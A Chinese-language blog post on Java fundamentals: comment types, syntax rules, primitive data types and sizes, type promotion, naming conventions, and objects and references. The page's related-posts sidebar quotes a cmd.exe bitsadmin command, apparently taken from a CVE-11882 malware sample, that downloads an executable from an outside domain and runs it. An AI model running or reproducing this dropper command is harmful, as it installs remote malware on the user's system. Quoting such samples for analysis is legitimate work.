文档章节

Java必须掌握的基础知识

李茂冉
 李茂冉
发布于 2016/05/15 14:24
字数 862
阅读 21
收藏 1

###注释:在源代码中存在,但编译时会被忽略的文本。

  1. 单行注释
//注释
  1. 多行注释
/*注释*/
/*
注释
......
*/

单行注释和多行注释中的文本内容是任意的,没有任何格式要求。 3. 文档注释

/**
 * 注释
 */

有一定的语法格式要求,主要功能是对源代码功能的说明 注释完成之后,与前两种注释在代码中察看的方式不同,是通过javadoc工 具将文档注释抽取生成html文件进行察看,所有java标准化文档都是通过这 种方式产生的。

###代码语法

“;”是唯一表示语句结束的标志。 空行,空格和tab空格对代码没有影响。

注意:标示符的开头只能是以字符,“_”和“$”(“$”一般不用)开头。

特殊关键字

  1. goto & const 是关键字,不能使用在标识符命名中,但没有任何语法意义,称为保留关键字。
  2. true & false 不是关键字,不能使用在标识符命名中,原因是作为boolean类型的值使用。

###java的数据类型

  • 基本数据类型
  • 引用数据类型(对象类型)

####基本数据类型:4类8种

1、boolean

只有true和false两个有效值,表示是或否。

2、char

字符类型,表示单个字符,使用字符方式表示。 内部使用16位unicode方式保存,中英文字符占用相同的空间。 注意:字符和字符串在java中的意义是完全不同的,字符串使用String类型 保存,表示若干个字符序列,是引用类型数据。

3、整数类型,包括byte,short,int,long四种

byte:8bit short:16bit int:32bit 默认类型(给出一个整数,它的默认类型就是int) long:64bit

注意:所有整数类型都是有符号的,用于存储数据的bit数是总bit数减1,减去的这一位是符号位。

4、浮点类型 float和double float:32bit double:64bit 注意:所有浮点数都是由符号的。

运算结果类型的判定 double>float>long>int>short>byte 通用规则:两个数进行运算时,按照大的类型决定结果的类型 特殊规则:运算结果类型小于int,按照int决定结果类型。(java内默认的类型为int类型)

标识符命名约定

  1. 类/接口/其他同级语法约束 每个单词首字母大写,其余小写 如:Account、MyAccount
  2. 方法/属性/局部变量 除第一个单词外,其余单词首字母大写 如:userName
  3. 包 全部小写 如:com.briup.md02
  4. 常量 全部大写,单词间通过"_"分隔 如:MAX_VALUE
  5. 除循环变量使用i,j,k等单字母进行命名外,其他变量都应使用有意义的 名称。

####引用数据类型(对象类型)

  • 类:将对象抽象化得到类,是对象的模
  • 对象:在问题描述中的名词通常可以使用对象进行描述,对象是具体的
  • 引用(对象的引用): java不允许直接对对象进行操作,所有对对象的操作都通过指向对象的引用进行操作

注意:类可以产生任意数量的对象,这些对象之间除了类型相同之外,没有任何直接的关系。

类的成员(Member)是属性和方法的总称

© 著作权归作者所有

共有 人打赏支持
李茂冉
粉丝 5
博文 103
码字总数 59256
作品 0
东城
高级程序员
【给初学者】Android学习路线

很多朋友都对学习路线问题感到迷茫,特别是还在上学的朋友们。在这里就详细的为大家介绍一下。 1.Java基础 很多朋友一上手就开始学习Android,似乎太着急了一些。Android应用程序开发是以Jav...

Jimmy Xie
2012/09/08
0
1
怎样学习java,漫谈java学习之路

Java - 近10年来计算机软件发展过程中的传奇,其在众多开发者心中的地位就如“屠龙刀”、“倚天剑”。 Java是个平台,我只想说说我对学好Java的一点看法,希望对初学者有所帮助。 1. 思考一下...

jccur
2011/08/26
0
9
新手怎么学习java?学Java要学哪些内容?

学习任何一门技术之前,兴趣最重要。在学校的时候一直觉得自己在学计算机编程语言,学习了很多,但每门语言都停留在知识边缘地带,都没深入到它们的精华部分。我经朋友介绍有免费的学习Java课...

糖宝_d864
07/02
0
0
Java编程基础知识点和技术点归纳

Java是一种可以撰写跨平台应用软件的面向对象的程序设计语言。Java 技术具有卓越的通用性、高效性、平台移植性和安全性,广泛应用于PC、数据中心、游戏控制台、科学超级计算机、移动电话和互...

Java小辰
05/23
0
0
大数据开发培训:0基础学习Java编程语言有哪些知识点?

Java 技术通用、高效、具有平台移植性和安全性,广泛应用于PC、数据中心、游戏控制台、科学超级计算机、移动电话和互联网等,学习Java首先要知道学习知识点有哪些。在这就用加米谷大数据培训...

加米谷大数据
07/25
0
0

没有更多内容

加载失败,请刷新页面

加载更多

下一页

java并发api总结

1.java.util.concurrent包 1.1 Executors Executor:接口,仅有一个方法为execute(Runnable) ExecutorService:Executor的子接口,扩展了Executor的方法,如submit/shutdown等。 Executors:......

Funcy1122
17分钟前
0
0
cmd bat 下载并运行文件,来自cve-11882漏洞样本,eqnedit32.exe栈溢出

cmd.exe /c bitsadmin /transfer eH /priority foreground http://holdthatpaper33.com/abu_output774B940.exe %USERPROFILE%\cXUAQSZZXXCXzx.exe && start %USERPROFILE%\cXUAQSZZXXCXzx.ex......

simpower
30分钟前
1
0
Java 面向对象 之 对象数组

http://www.verejava.com/?id=16992784958543 /** 知识点: 对象数组 1. 对象数组的使用 2. 对象数组的foreach 增强for循环 3. 可变参数 题目:乘客...

全部原谅
31分钟前
0
0
超越时间和空间,带你到n维去!

我们处理三维问题十分自如,必要时对付四维问题也凑合。我们不费吹灰之力就能接受有实体和无限空间的三维世界。加上第四维时间后情况就有点复杂了。 但当我们开始研究包括再多或再少维数的世...

WeiXiaodong
42分钟前
0
0
通过ip获取真实地址

package util;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.JSONObject;import org.apache.commons.lang3.StringUtils;import org.apache.http.HttpResponse;......

lifes77
今天
3
0

没有更多内容

加载失败,请刷新页面

加载更多

下一页

返回顶部
顶部